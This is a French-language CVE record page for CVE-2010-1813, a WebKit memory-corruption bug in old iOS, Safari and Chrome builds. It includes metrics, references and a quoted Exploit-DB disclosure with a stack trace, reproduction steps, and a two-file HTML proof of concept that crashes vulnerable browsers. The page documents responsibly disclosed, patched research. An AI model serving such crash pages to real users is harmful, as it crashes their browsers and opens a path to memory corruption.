CVE-2010-1813 : Détail

CVE-2010-1813

Overflow
85.46%V3
Network
2010-09-09
19h00 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

WebKit in Apple iOS before 4.1 on the iPhone and iPod touch allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via vectors involving HTML object outlines.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 14967

Date de publication : 2010-09-09 22h00 +00:00
Auteur : Jose A. Vazquez
EDB Vérifié : Yes

TITLE: WEBKIT (APPLE SAFARI < 4.1.2/5.0.2 & GOOGLE CHROME < 5.0.375.125) MEMORY CORRUPTION VULNERABILITY TESTED OS: WINDOWS XP SP3 SEVERITY: HIGH CVE-NUMBER: CVE-2010-1813 DISCOVERED DATE: 2010-06-29 FIXED DATE: GOOGLE CHROME (2010-07-26) & APPLE SAFARI (2010-09-08) FIXED VERSIONS: GOOGLE CHROME 5.0.375.125 & APPLE SAFARI 4.1.2/5.0.2 DISCOVERED BY: JOSE A. VAZQUEZ ======ABOUT APPLICATION====== "WebKit is an open source web browser engine. WebKit is also the name of the Mac OS X system framework version of the engine that's used by Safari, Dashboard, Mail, and many other OS X applications. WebKit's HTML and JavaScript code began as a branch of the KHTML and KJS libraries from KDE..." copied from http://webkit.org/ ======DESCRIPTION====== A memory corruption vulnerability was confirmed by Chromium Security Team. Original stacktrace showed a null ptr dereference, but some pointers were also corrupted. Stacktrace (using Chrome symbols): WebCore::RenderObject::containingBlock() Line 597 WebCore::RenderBlock::paintContinuationOutlines() Line 2344 WebCore::RenderBlock::paintObject() Line 2232 WebCore::RenderBlock::paint() Line 1980 WebCore::RenderLayer::paintLayer() Line 2447 WebCore::RenderLayer::paintList() Line 2499 WebCore::RenderLayer::paintLayer() Line 2468 WebCore::RenderLayer::paint() Line 2252 WebCore::FrameView::paintContents() Line 1943 WebCore::ScrollView::paint() Line 797 WebCore::RenderWidget::paint() Line 281 WebCore::InlineBox::paint() Line 180 WebCore::InlineFlowBox::paint() Line 682 WebCore::RootInlineBox::paint() Line 167 WebCore::RenderLineBoxList::paint() Line 219 WebCore::RenderBlock::paintContents() Line 2090 WebCore::RenderBlock::paintObject() Line 2199 WebCore::RenderBlock::paint() Line 1980 WebCore::RenderBlock::paintChildren() Line 2127 WebCore::RenderBlock::paintContents() Line 2092 WebCore::RenderBlock::paintObject() Line 2199 WebCore::RenderBlock::paint() Line 1980 WebCore::RenderLayer::paintLayer() Line 2445 WebCore::RenderLayer::paintList() Line 2499 WebCore::RenderLayer::paintLayer() Line 2468 WebCore::RenderLayer::paint() Line 2252 WebCore::FrameView::paintContents() Line 1943 WebCore::ScrollView::paint() Line 797 WebKit::WebFrameImpl::paintWithContext() Line 1795 WebKit::WebFrameImpl::paint() Line 1818 WebKit::WebViewImpl::paint() Line 979 RenderWidget::PaintRect() Line 390 RenderWidget::DoDeferredUpdate() Line 501 RenderWidget::CallDoDeferredUpdate() Line 428 ======PROOF OF CONCEPT====== File 1.html: <meta http-equiv="refresh" content="1;URL=1.html" > <iframe src="2.html"></iframe> File 2.html: <dialog style='position:relative'> <h style='outline-style:auto'>X<div></div></h> </dialog> ======STEPS TO REPRODUCE====== 1.- Upload 1.html and 2.html to your server. 2.- Open file 1.html with vulnerable app. -Google Chrome: 3.- Wait for a while, then, crash is got (sad-tab). -Apple Safari: 3.- Wait for a while, if crash is not got, use Ctrl+T to trigger it. ======REFERENCES====== [ref-1] -> https://bugs.webkit.org/show_bug.cgi?id=41373 [ref-2] -> http://googlechromereleases.blogspot.com/2010/07/stable-channel-update_26.html [ref-3] -> http://support.apple.com/kb/HT4334 [ref-4] -> http://spa-s3c.blogspot.com/2010/09/full-responsible-disclosurewebkit-apple.html ======DISCLOSURE TIMELINE====== Standard Time Zone: GMT/UTC + 01:00 hour (Spain/Madrid) [2010-06-29] => Posted new issue in Chromium Project (with pocs). [2010-06-29] => Chromium confirmed memory corruption and opened new webkit bug. [2010-07-26] => Chromium released new fix (Google Chrome 5.0.375.125). [2010-09-08] => Apple released new fix (Apple Safari 4.1.2/5.0.2). [2010-09-10] => Public disclosure. ======CREDITS======= Jose Antonio Vazquez Gonzalez, Telecom. Engineer & Sec. Researcher. http://spa-s3c.blogspot.com/

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 4.1

Apple>>Ipod_touch >> Version -

Apple>>Iphone_os >> Version -

Références

http://secunia.com/advisories/43068
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT4334
Tags : x_refsource_CONFIRM
http://support.apple.com/kb/HT4455
Tags : x_refsource_CONFIRM
http://www.vupen.com/english/advisories/2011/0212
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/42314
Tags : third-party-advisory, x_refsource_SECUNIA
http://support.apple.com/kb/HT4456
Tags : x_refsource_CONFIRM